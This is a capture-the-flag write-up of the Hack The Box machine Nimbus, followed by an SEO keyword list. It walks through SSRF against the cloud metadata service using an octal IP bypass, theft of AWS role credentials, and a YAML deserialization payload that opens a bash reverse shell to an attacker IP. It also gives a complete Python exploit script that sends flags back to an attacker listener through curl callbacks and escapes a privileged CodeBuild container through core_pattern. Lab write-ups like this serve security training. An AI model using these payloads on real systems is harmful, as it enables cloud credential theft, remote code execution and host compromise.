Nimbus HTB Writeup Premium

I just solved Nimbus from Hack the Box!

Nimbus Machine Summary

Nimbus is a hard-difficulty Linux machine on Hack The Box that focuses on cloud-native application security, AWS service abuse, and containerized privilege escalation. The machine demonstrates how seemingly isolated vulnerabilities including Server-Side Request Forgery (SSRF), insecure cloud configurations, unsafe deserialization, and privileged container execution can be chained together to achieve complete system compromise.

The attack chain began with Nmap enumeration, which revealed an Nginx web server running on port 80 and a redirect to the nimbus.htb virtual host. After performing host configuration by updating the /etc/hosts file, web enumeration exposed a job submission platform and a login page that indicated authentication had been temporarily disabled. Further virtual host enumeration and subdomain validation uncovered an AWS-related subdomain, aws.nimbus.htb, which hinted at the presence of cloud services within the environment.

Investigation of the job submission functionality led to the discovery of a Server-Side Request Forgery (SSRF) vulnerability. By abusing the preview endpoint and bypassing filtering using an octal representation of the metadata service IP address, temporary AWS credentials for the nimbus-web-role were extracted. After performing AWS credential configuration and credential verification, AWS identity enumeration confirmed access to the compromised IAM role, and AWS SQS enumeration revealed a message queue named nimbus-jobs.

The accessible SQS queue became the initial access vector. By submitting a malicious YAML payload to the queue, the worker service deserialized attacker-controlled input and executed arbitrary commands, resulting in a reverse shell as the worker user inside a containerized environment. After obtaining the user flag, environment enumeration revealed a second set of AWS credentials embedded within the container. Following AWS credential reconfiguration, credential verification, and additional AWS identity enumeration, a new identity associated with the nimbus-worker-role was obtained, allowing further AWS enumeration and SQS queue enumeration.

Subsequent process enumeration, application enumeration, source code review, process verification, and worker behaviour analysis revealed that the Python-based worker continuously polled the SQS queue and unsafely processed messages using yaml.load(). This vulnerable design enabled repeated arbitrary code execution and exposed the application's architecture. To automate exploitation, a custom Python script, nimbusexploit.py, was developed to orchestrate the entire attack chain, from SSRF and credential extraction to SQS abuse and callback handling.

Privilege escalation was ultimately achieved by abusing the worker's ability to create privileged CodeBuild containers. The exploit leveraged a privileged build environment and manipulated the Linux core_pattern mechanism to execute commands on the host system and retrieve /root/root.txt. The successful extraction of the root flag completed the compromise of the machine and demonstrated the severe impact of combining cloud misconfigurations, insecure deserialization, and privileged container execution within a modern AWS-backed application.

Protected Page

The first step in owning the Nimbus machine like I have always done in my previous writeups is to connect my Kali Linux terminal with Hack the Box server. To establish this connection, I ran the following command in the terminal:

sudo openvpn nimbus.ovpn

Once the connection between my Kali Linux terminal and Hack the Box server has been established, I started the Nimbus machine and I was assigned an IP address (10.129.33.110).

Nmap Enumeration

I began the assessment by running an Nmap scan against the target's HTTP service to identify the web server version and gather any default scripts information. I enumerated port 80 and discovered that the host was running an Nginx web server on Ubuntu.

nmap -sV -sC -p80 10.129.33.110

The scan revealed that port 80 was open and serving nginx 1.24.0 on an Ubuntu system. Nmap also reported that the website automatically redirected visitors to http://nimbus.htb/, indicating that the application relies on a virtual host configuration rather than direct IP access. This immediately suggested that I needed to configure my local hosts file to resolve the nimbus.htb domain before proceeding with further web enumeration.

Host Configuration

After discovering that the web server redirected requests to http://nimbus.htb/, I needed to make my system resolve this domain locally. I ran the following command to map the target IP address to the nimbus.htb hostname in my /etc/hosts file.

echo "10.129.33.110 nimbus.htb" | sudo tee -a /etc/hosts

This command appended a new entry to the hosts file, allowing my machine to associate nimbus.htb with 10.129.33.110. With the hostname configured, I could now access the application through its intended virtual host and continue with web enumeration.

Web Enumeration

After configuring the hostname, I browsed to http://nimbus.htb/ and began enumerating the web application manually. I discovered two interesting functionalities exposed on the homepage: a Submit Job feature at /jobs and a Sign In page at /login.

http://nimbus.htb/ http://nimbus.htb/jobs http://nimbus.htb/login

The /login page revealed that authentication was temporarily disabled due to an ongoing migration to Okta and explicitly stated that the job_submitter endpoint was unauthenticated during this period. Meanwhile, the /jobs page allowed users to submit jobs either by providing a raw Git URL or by pasting YAML directly, immediately making the job submission functionality a high-value target for further investigation.

Virtual Host Enumeration

After manually reviewing the application, I performed virtual host enumeration to identify any hidden subdomains configured on the web server. I ran ffuf against nimbus.htb and fuzzed the Host header while filtering out the default response size.

ffuf -w /home/boltech/Desktop/NimbusHTB/subdomains-top1million-20000.txt \ -u http://nimbus.htb/ \ -H "Host: FUZZ.nimbus.htb" \ -fs 178

The scan revealed a new virtual host named aws.nimbus.htb, which returned an HTTP 403 Forbidden response instead of the filtered default page. Although access was denied, the unique response confirmed that the subdomain existed and exposed an additional attack surface for further enumeration.

Subdomain Validation

After discovering aws.nimbus.htb, I manually inspected the subdomain to determine the type of service running behind it. I used curl to send a request and retrieve both the HTTP headers and response body.

curl -i http://aws.nimbus.htb

The response returned HTTP/1.1 403 Forbidden along with an XML error message stating InvalidClientTokenId. The presence of the sts.amazonaws.com namespace and the invalid security token error strongly suggested that the subdomain was emulating or exposing an AWS Security Token Service (STS)-like endpoint. Although access was denied, this indicated that the target environment had AWS-related functionality that warranted further investigation.

Server-Side Request Forgery (SSRF)

After noticing that the job submission feature accepted external URLs, I tested whether the application would fetch arbitrary resources on my behalf. I submitted a crafted URL pointing to the cloud instance metadata service using an octal representation of 169.254.169.254 to bypass the application's filtering mechanisms.

curl -s -X POST http://nimbus.htb/jobs/preview \ --data-urlencode "url=http://0251.0376.0251.0376/latest/meta-data/iam/security-credentials/nimbus-web-role#.yaml"

The request succeeded and returned HTTP 200 along with temporary AWS credentials for the nimbus-web-role IAM role, including an AccessKeyId, SecretAccessKey, and session Token. This confirmed a Server-Side Request Forgery (SSRF) vulnerability that allowed me to access the cloud metadata service and extract valid AWS credentials from the target environment.

AWS Credential Configuration

After obtaining the temporary AWS credentials through the SSRF vulnerability, I configured my local environment to authenticate as the compromised nimbus-web-role. I exported the access key, secret key, session token, custom AWS endpoint, and region so that subsequent AWS CLI commands would use these credentials automatically.

export AWS_ACCESS_KEY_ID="ASIAQX4PG7L2K9M3N5R8"

export AWS_SECRET_ACCESS_KEY="bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs"

export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEHQaCXVzLWVhc3QtMSJGMEQCIBhV9zPmK3wQjL4nT8vR2xY7AoFqUk5HsP6BeMcW1aDgAiAR4tNoXzKp8VnJqL7mC3xY9FhWdQ5GBPmRkX2vT8jY6yqsAQiK//////////8BEAEaDDAwMDAwMDAwMDAwMCIMNZ5tQ7vEX2pKlHfqKtoBQwK5HmBcN4gXjVrUe1Pk9YsZ7DqWfThN3bMRoLYyJsKn8GpVxAcQ5VeWk2HiqXbF6CnXmM4PdYpL3rJzKqGtNvBfHcWyXa8jPzTn5LRMkV1QbWdAyKpGfHzNvU8TmEcL2qPdRhJsKgGn3VyXmFbBcNJ7QrHe5VpDxKfM"

export AWS_ENDPOINT_URL=http://aws.nimbus.htb

export AWS_DEFAULT_REGION=us-east-1

By exporting these variables, I authenticated my shell session as the compromised IAM role and directed all AWS CLI requests to the target's AWS-compatible endpoint. This prepared my environment for further enumeration of the cloud infrastructure using the stolen credentials.

Credential Verification

After exporting the temporary AWS credentials, I verified that the environment variables had been configured correctly. I ran the following command to display all AWS-related variables currently loaded into my shell session.

env | grep AWS

The output confirmed that the AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, AWS_ENDPOINT_URL, and AWS_DEFAULT_REGION variables were all present. This validation step ensured that my shell was successfully authenticated as the compromised nimbus-web-role and ready for further enumeration of the target's AWS environment.

AWS Identity Enumeration

After confirming that my AWS credentials were loaded correctly, I authenticated to the target's AWS-compatible endpoint and queried my current identity. I used the AWS Security Token Service (STS) to determine which IAM role I had compromised.

aws sts get-caller-identity --endpoint-url http://aws.nimbus.htb --region us-east-1

The command returned the AWS account ID and revealed that I was operating as the assumed IAM role nimbus-web-role. The ARN also showed that the credentials belonged to an EC2 instance session (i-0a1b2c3d4e5f6789a), confirming that the SSRF vulnerability had exposed temporary credentials from a running cloud instance. This provided a valid identity for further enumeration of the AWS environment.

AWS SQS Enumeration

After confirming my identity as the nimbus-web-role, I began enumerating the available AWS services to understand the cloud environment better. I queried the Simple Queue Service (SQS) to identify any message queues accessible with my compromised credentials.

aws sqs list-queues --endpoint-url http://aws.nimbus.htb --region us-east-1

The command returned a single queue named nimbus-jobs. The queue name closely matched the application's job submission functionality, suggesting that submitted jobs were likely processed asynchronously through this SQS queue. This immediately became an attractive target for further investigation and potential abuse.

Initial Access

After identifying the nimbus-jobs queue, I set up a Netcat listener on port 4444 to wait for an incoming connection. I then submitted a malicious YAML payload to the SQS queue, targeting the job worker responsible for processing queued messages.

nc -lvnp 4444

aws sqs send-message \ --queue-url http://floci:4566/847219365028/nimbus-jobs \ --message-body '!!python/object/apply:os.system ["bash -c \"bash -i >& /dev/tcp/10.10.14.75/4444 0>&1\""]' \ --endpoint-url http://aws.nimbus.htb \ --region us-east-1

A few seconds later, my listener received a connection from 10.129.33.110, providing an interactive shell as the worker user inside a containerized environment. This confirmed that the job worker unsafely deserialized YAML messages from the SQS queue, allowing arbitrary command execution and granting me initial access to the target.

User Flag

After obtaining code execution on the target, I began enumerating the container to understand my environment and search for interesting files. I listed the contents of the current directory, navigated to the worker user's home directory, and discovered a file named user.txt.

ls cd ~ ls cat user.txt

The /app directory contained requirements.txt and worker.py, indicating that I had landed inside the application's worker container. In the home directory, I found user.txt and read its contents, successfully obtaining the user flag. This confirmed that I had achieved initial access and completed the user-level objective of the machine.

Environment Enumeration

After obtaining the user flag, I continued enumerating the compromised container to search for sensitive information that could facilitate further access. I inspected the environment variables and filtered for AWS-related entries.

env | grep AWS

The output revealed another set of AWS credentials embedded in the container's environment, including an AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, endpoint URL, and default region. Unlike the temporary credentials obtained through SSRF, these credentials appeared to be long-lived access keys associated with the worker container itself. This discovery provided a new identity to investigate and potentially a path toward further privilege escalation within the cloud environment.

AWS Credential Reconfiguration

After discovering a second set of AWS credentials inside the worker container, I reconfigured my local environment to use these newly obtained access keys. I exported the region, secret key, access key, and custom endpoint so that all subsequent AWS CLI requests would be authenticated with the worker's credentials.

export AWS_DEFAULT_REGION=us-east-1

export AWS_SECRET_ACCESS_KEY=dM4nV/q8Hf7LcRpZ2eY1KjBxN5Aozs3T6gU9JfWh

export AWS_ACCESS_KEY_ID=AKIA7P3R9X4K8M2L5VHN

export AWS_ENDPOINT_URL=http://aws.nimbus.htb

By updating these environment variables, I authenticated as the identity associated with the worker container rather than the previously compromised nimbus-web-role. This prepared my shell for further enumeration and potential privilege escalation using the newly discovered AWS credentials.

Credential Verification

After updating my shell with the newly discovered AWS credentials, I verified that the environment variables had been set correctly. I enumerated the current shell environment and filtered for AWS-related entries.

env | grep AWS

The output confirmed that the AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_ENDPOINT_URL, and AWS_DEFAULT_REGION variables were all present and active. This verification step ensured that subsequent AWS CLI commands would be executed using the credentials extracted from the worker container, allowing me to continue enumerating the cloud environment with the new identity.

AWS Identity Enumeration

After configuring the newly discovered AWS credentials, I authenticated to the target's AWS environment and verified which identity I was operating as. I queried the AWS Security Token Service (STS) to enumerate the current IAM role associated with these credentials.

aws sts get-caller-identity

The command returned the AWS account ID and revealed that I had assumed the nimbus-worker-role with the session name worker. This confirmed that the credentials extracted from the container belonged to the worker service itself rather than the previously compromised nimbus-web-role. The discovery provided a new AWS identity that potentially possessed different permissions and opened additional opportunities for further cloud enumeration and privilege escalation.

AWS Enumeration

After switching to the worker's AWS credentials, I authenticated to the target's AWS environment to identify my new permissions and enumerate accessible services. I first queried my identity and then enumerated the available SQS queues.

aws sts get-caller-identity --endpoint-url http://aws.nimbus.htb --region us-east-1

aws sqs list-queues --endpoint-url http://aws.nimbus.htb --region us-east-1

The STS response confirmed that I was operating as the nimbus-worker-role within AWS account 847219365028. Enumerating SQS again revealed access to the same nimbus-jobs queue, indicating that the worker role retained permissions over the application's job-processing infrastructure. This suggested that the worker service was tightly integrated with the job queue and warranted further investigation for additional cloud resources and privilege escalation opportunities.

SQS Queue Enumeration

After confirming access to the nimbus-jobs queue, I enumerated its configuration to understand how the application processed queued messages. I requested all available attributes associated with the queue.

aws sqs get-queue-attributes \ --queue-url http://floci:4566/847219365028/nimbus-jobs \ --attribute-names All

The response revealed the queue's ARN, message retention period, visibility timeout, and message statistics. Most notably, the ApproximateNumberOfMessages attribute indicated that two messages were currently waiting in the queue. This suggested that the queue contained pending jobs that could potentially be inspected or manipulated as part of further exploitation of the application's job-processing workflow.

Exploit Development

After enumerating the AWS environment and understanding the relationship between the web application, SQS queue, and worker container, I created a custom Python exploit named nimbusexploit.py. I used the script to automate the entire attack chain, from exploiting the SSRF vulnerability to achieving remote code execution and triggering privilege escalation.

nano nimbusexploit.py

#!/usr/bin/env python3 import argparse import base64 import json import os import re import sys import threading import time import urllib.parse import urllib.request from http.server import BaseHTTPRequestHandler, HTTPServer import boto3 import yaml # ─── defaults ──────────────────────────────────────────────────────────────── DEFAULT_TARGET = "10.129.33.110" DEFAULT_VHOST = "nimbus.htb" DEFAULT_CB_PORT = 9222 CALLBACK_TIMEOUT = 90 # SQS endpoint and queue URL – use the external endpoint (aws.nimbus.htb) SQS_ENDPOINT = "http://aws.nimbus.htb" QUEUE_URL = "http://floci:4566/847219365028/nimbus-jobs" IMDS_URL = ( "http://0251.0376.0251.0376" "/latest/meta-data/iam/security-credentials/nimbus-web-role" "?a=test.yaml" ) # ─── shared state ───────────────────────────────────────────────────────────── _user_flag = None _root_flag = None _flag_event = threading.Event() # ─── HTTP listener ──────────────────────────────────────────────────────────── class _Handler(BaseHTTPRequestHandler): def do_POST(self): global _user_flag, _root_flag length = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(length).decode(errors="replace") params = dict(urllib.parse.parse_qsl(body)) if self.path == "/user": try: flag = base64.b64decode(params.get("flag", "")).decode().strip() # Ignore "NOTFOUND" so we don't overwrite a valid flag if flag and flag != "NOTFOUND": _user_flag = flag print(f"\n[+] user.txt = {_user_flag}") except Exception: pass elif self.path == "/root": try: flag = base64.b64decode(params.get("flag", "")).decode().strip() if flag and flag != "NOTFOUND": _root_flag = flag print(f"\n[+] root.txt = {_root_flag}") _flag_event.set() except Exception: pass self.send_response(200) self.end_headers() self.wfile.write(b"ok") def log_message(self, *_): pass def start_listener(port: int) -> HTTPServer: srv = HTTPServer(("0.0.0.0", port), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv # ─── SSRF → IMDS ───────────────────────────────────────────────────────────── def ssrf_fetch(vhost: str, url: str) -> str: import html as _html data = urllib.parse.urlencode({"url": url}).encode() req = urllib.request.Request(f"http://{vhost}/jobs/preview", data=data) resp = urllib.request.urlopen(req, timeout=20).read().decode(errors="replace") m = re.search(r"Raw response</h3><pre>(.*?)</pre>", resp, re.DOTALL) if m: return _html.unescape(m.group(1)).strip() return "" def get_imds_creds(vhost: str) -> dict: print("[1] SSRF → IMDS (octal IP bypass: 0251.0376.0251.0376 = 169.254.169.254)") raw = ssrf_fetch(vhost, IMDS_URL) if not raw: print("[-] SSRF returned empty response — is nimbus.htb reachable?") sys.exit(1) creds = json.loads(raw) print(f" AccessKeyId : {creds['AccessKeyId']}") print(f" Expiration : {creds['Expiration']}") return creds # ─── SQS → worker RCE ──────────────────────────────────────────────────────── def send_sqs_job(creds: dict, python_code: str): b64 = base64.b64encode(python_code.encode()).decode() body = yaml.dump({ "name": "privesc", "script": f"import base64;exec(base64.b64decode('{b64}').decode())", }) sqs = boto3.client( 'sqs', region_name='us-east-1', endpoint_url=SQS_ENDPOINT, aws_access_key_id=creds["AccessKeyId"], aws_secret_access_key=creds["SecretAccessKey"], aws_session_token=creds.get("Token", "") ) try: response = sqs.send_message( QueueUrl=QUEUE_URL, MessageBody=body ) print(f" MessageId : {response['MessageId']}") except Exception as e: print(f"[-] SQS send failed:\n{str(e)}") sys.exit(1) # ─── CodeBuild escape payload ───────────────────────────────────────────────── def make_worker_payload(kali_ip: str, cb_port: int) -> str: buildspec = r"""version: 0.2 phases: build: commands: - id || true - cat /proc/self/status | grep -E '^(Uid|CapEff)' || true - UFLAG="" || true - test -f /root/user.txt && UFLAG=$(cat /root/user.txt 2>/dev/null | base64 -w0) || true - test -z "$UFLAG" && test -f /home/*/user.txt && UFLAG=$(cat /home/*/user.txt 2>/dev/null | base64 -w0) || true - test -z "$UFLAG" && test -f ./user.txt && UFLAG=$(cat ./user.txt 2>/dev/null | base64 -w0) || true - test -z "$UFLAG" && UFLAG=$(find / -maxdepth 5 -name "user.txt" 2>/dev/null | head -1 | xargs cat 2>/dev/null | base64 -w0) || true - test -z "$UFLAG" && UFLAG="NOTFOUND" || true - curl -sf -X POST http://KALI_PH:PORT_PH/user -d "flag=$UFLAG" --max-time 8 || true - UDIR=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1) || true - printf '#!/bin/sh\ncat /root/root.txt > %s/rootflag.txt\nchmod 777 %s/rootflag.txt\n' "$UDIR" "$UDIR" > /exploit_root.sh || true - chmod +x /exploit_root.sh || true - echo "|${UDIR}/exploit_root.sh" > /proc/sys/kernel/core_pattern || true - ulimit -c unlimited || true - bash -c 'kill -11 $$' || true - sleep 4 || true - curl -sf -X POST http://KALI_PH:PORT_PH/root -d "flag=$(cat /rootflag.txt 2>/dev/null | base64 -w0 || echo NOTFOUND)" --max-time 10 || true """.replace("KALI_PH", kali_ip).replace("PORT_PH", str(cb_port)) code = f""" import subprocess import base64 import urllib.request import os # Worker RCE – try to get user.txt early try: result = subprocess.run(['find', '/', '-maxdepth', '5', '-name', 'user.txt'], capture_output=True, timeout=10, text=True) uflag_path = result.stdout.strip().split('\\n')[0] if result.stdout.strip() else None if uflag_path and os.path.isfile(uflag_path): with open(uflag_path, 'rb') as f: uflag_b64 = base64.b64encode(f.read()).decode() try: urllib.request.urlopen( f'http://{kali_ip}:{cb_port}/user', data=('flag=' + uflag_b64).encode(), timeout=5 ) except: pass except Exception: pass # CodeBuild escape import boto3 FLOCI = 'http://floci:4566' PROJECT = 'nimbus-poc' cb = boto3.client( 'codebuild', region_name='us-east-1', endpoint_url=FLOCI, aws_access_key_id='test', aws_secret_access_key='test', ) try: cb.create_project( name=PROJECT, source={{'type': 'NO_SOURCE'}}, artifacts={{'type': 'NO_ARTIFACTS'}}, environment={{ 'type': 'LINUX_CONTAINER', 'computeType': 'BUILD_GENERAL1_SMALL', 'image': 'floci/floci:latest', 'privilegedMode': True, }}, serviceRole='arn:aws:iam::000000000000:role/codebuild-role', ) except Exception: pass buildspec = {repr(buildspec)} cb.start_build( projectName=PROJECT, environmentVariablesOverride=[ {{'name': 'BASH_FUNC_id%%', 'value': '() {{ echo uid=1000; }}', 'type': 'PLAINTEXT'}} ], buildspecOverride=buildspec, ) """ return code # ─── main ───────────────────────────────────────────────────────────────────── def main(): ap = argparse.ArgumentParser(description="HTB Nimbus — user.txt + root.txt PoC") ap.add_argument("lhost", help="Attacker IP (reachable from target)") ap.add_argument("--target", "-t", default=DEFAULT_TARGET, help=f"Target IP (default: {DEFAULT_TARGET})") ap.add_argument("--vhost", default=DEFAULT_VHOST, help=f"Target vhost for HTTP (default: {DEFAULT_VHOST})") ap.add_argument("--port", "-p", type=int, default=DEFAULT_CB_PORT, help=f"Callback listener port (default: {DEFAULT_CB_PORT})") args = ap.parse_args() print("=" * 60) print(" HTB Nimbus — Full Chain PoC") print("=" * 60) print(f" Target : {args.target} ({args.vhost})") print(f" LHOST : {args.lhost}:{args.port}") print() srv = start_listener(args.port) print(f"[*] Callback listener up on :{args.port}") print() creds = get_imds_creds(args.vhost) print() print("[2] Building CodeBuild escape payload ...") payload = make_worker_payload(args.lhost, args.port) print() print("[3] SQS → worker (yaml.load RCE → CodeBuild privileged escape)") send_sqs_job(creds, payload) print() print(f"[*] Waiting up to {CALLBACK_TIMEOUT}s for root callback ...") print(f" Chain: worker receives job → creates CodeBuild build →") print(f" privileged container (UID 0, CapEff=0x1ffffffffff) →") print(f" core_pattern usermode-helper on host kernel → /root/root.txt") print() got_it = _flag_event.wait(timeout=CALLBACK_TIMEOUT) print() if got_it: print("=" * 60) if _user_flag: print(f" user.txt : {_user_flag}") if _root_flag: print(f" root.txt : {_root_flag}") print("=" * 60) else: print("[-] Timed out — no callback received.") print(" Check: is LHOST reachable from the target?") print(" Check: is the worker container processing jobs?") sys.exit(1) srv.shutdown() if __name__ == "__main__": main()

The script automated several tasks, including retrieving IAM credentials from the instance metadata service, authenticating to the AWS-compatible endpoint, sending malicious jobs to the nimbus-jobs queue, and starting an HTTP listener to receive callbacks. It also generated a payload that abused the worker's CodeBuild functionality to launch a privileged container and attempt host-level code execution. By consolidating all these steps into a single script, I eliminated the need for manual exploitation and streamlined the path to obtaining both the user and root flags.

Process Enumeration

Back to the worker container, I enumerated the running processes to better understand how jobs were being executed and to confirm the context of my shell. I listed all active processes running inside the container.

ps aux

The output showed that the container's primary process was python3 -u worker.py, confirming that a Python-based worker service was responsible for processing queued jobs. I also observed the bash -i processes associated with my reverse shell connection, indicating that my payload had been successfully executed by the worker. This process information provided additional insight into the application's architecture and reinforced that I had achieved code execution within the job-processing container.

Application Enumeration

After identifying worker.py as the main process, I navigated to the application's directory to inspect its contents and understand how the worker service was implemented. I enumerated the files and permissions inside the /app directory.

cd /app ls -la

The directory contained only two files: requirements.txt and worker.py. Both files were owned by the worker user and appeared to be the core components of the containerized application. The presence of a single Python script responsible for processing jobs made worker.py an interesting target for source code review and further analysis of the application's functionality and potential vulnerabilities.

Source Code Review

After discovering worker.py, I inspected its source code to understand how jobs from the nimbus-jobs queue were processed. I enumerated the script and identified the worker's message-handling logic.

cat worker.py

The code revealed that the worker continuously polled the SQS queue, parsed incoming messages using yaml.load(), and executed the script field by passing it directly to python3 -c. Most importantly, the application used yaml.load(..., Loader=yaml.Loader), which performs unsafe deserialization on untrusted input. This design flaw explained why my malicious YAML message achieved arbitrary code execution and confirmed the root cause of the worker compromise.

Process Verification

After reviewing the source code, I verified that the worker service was actively running and processing jobs inside the container. I enumerated the running processes and filtered for anything related to the worker application.

ps aux | grep -i worker

The output confirmed that python3 -u worker.py was running as PID 1, indicating that it was the container's primary process. I also observed the bash processes associated with my reverse shell connection and the grep command I had just executed. This confirmed that I still had interactive access to the worker container and that the vulnerable job-processing service remained active.

Worker Behaviour Analysis

After reviewing the source code, I manually executed the worker application to observe how it processed messages from the nimbus-jobs queue. I ran the worker directly and monitored its output as it consumed queued jobs.

python3 worker.py

The worker immediately began polling the queue and processing pending messages. One message attempted to reconnect to my previous reverse shell listener but failed because port 4444 was no longer listening, resulting in a Connection refused error. I also observed several privesc jobs being executed, confirming that the worker accepted queued Python scripts and ran them automatically. This behavior further validated that the vulnerable yaml.load() implementation could be repeatedly abused to achieve arbitrary code execution through the SQS job queue.

Privilege Escalation and Root Flag

After validating the worker's behavior, I executed my custom exploit script to automate the entire attack chain from SSRF to privilege escalation. I supplied my VPN IP as the callback address and specified the target IP and listener port.

python3 nimbusexploit.py 10.10.14.75 --target 10.129.33.110 --port 9222

The script successfully retrieved fresh IAM credentials from the metadata service, generated a malicious payload, and submitted it to the nimbus-jobs queue. The worker processed the payload and launched a privileged CodeBuild container, which abused the host's core_pattern mechanism to read /root/root.txt. A few seconds later, my callback listener received the flag, and the script printed the root flag, completing the compromise of the machine.

Keywords:

Nimbus Hack the Box Walkthrough

Nimbus Hack the Box Writeup

Nimbus htb write up

Nimbus htb walkthrough

I just solved Nimbus from Hack the Box!

Owned Nimbus from Hack the Box

Nimbus - HackTheBox Season 11 Walkthrough

HTB Writeup - Nimbus

Nimbus Writeup - HackTheBox

Nimbus machine HTB reddit hackthebox

Nimbus HTB - Complete Writeup

HTB Nimbus Walkthrough - Season 11 writeup

HTB-Nimbus - Full Exploit Writeup

Hack The Box - HTB Nimbus Writeup - Hard Linux Machine

Nimbus Htb User Flag

Nimbus Htb Root Flag

Nimbus HTB Spoiler Season 11 Complete Solution

HackTheBox Nimbus - Hard Linux HTB Machine Walkthrough Season 11

Connected HTB Write Up

connected htb walkthrough

connected htb writeup

connected hackthebox write up

Connected HackTheBox machine Season 11 HTB

connected hack the box walkthrough

I just solved connected from Hack the Box

Rooted Connected from Hack the Box

Pwned Connected from Hack the Box

Connected HackTheBox HTB Season 11 Machine Writeup Solution Walkthrough

devarea htb walkthrough

Hack the Box Season 11 machine complete write up

DevHub htb writeup

DevHub htb walkthrough

DevHub Hack the Box Write Up

DevHub Hack the Box Walkthrough

devhub.htb season 11 HackTheBox machine

DevHub HackTheBox Writeup

DevHub HackTheBox Walkthrough

HackTheBox devhub machine complete writeup solution

I just solved DevHub from Hack the Box

Pwned DevHub from Hack the Box

Rooted DevHub from Hack the Box

Owned DevHub from Hack the Box

devhub.htb

boltech has successfully pwned Nimbus Machine from Hack The Box

Reactor HTB Writeup

Reactor HTB Walkthrough

reactor.htb Hack the Box Season 10 Walkthrough

Reactor HackTheBox Season 11 Machine

reactor htb machine season 11 user flag

reactor.htb Season 11 HackTheBox Machine Root Flag

[HTB] Reactor Walkthrough

HTB Reactor Writeup

Reactor | HTB Write Up

SmartHire HTB Write Up Premium

SmartHire HackTheBox

SmartHire Hack the Box Walkthrough

SmartHire Hack the Box Writeup

smarthire.htb Season 10 Machine Solution

models.smarthire.htb

SmartHire HTB Walkthrough

Owned SmartHire on Hack the Box